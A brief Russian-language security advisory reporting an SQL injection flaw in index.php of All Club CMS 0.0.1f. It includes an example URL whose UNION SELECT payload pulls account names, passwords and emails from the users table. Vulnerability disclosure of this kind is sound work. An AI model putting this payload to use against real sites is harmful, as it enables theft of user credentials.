Программа: All Club CMS 0.0.1f

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

http://[host]/accms_path/index.php?name=-1’/**/union/* */select/**/1,concat(account,0x3a,password,0x3a,email),3,4, 5,6,7,8,9,1,1,1,1/**/from/* */accms_users/**/where/**/id=1/*



Оставить мнение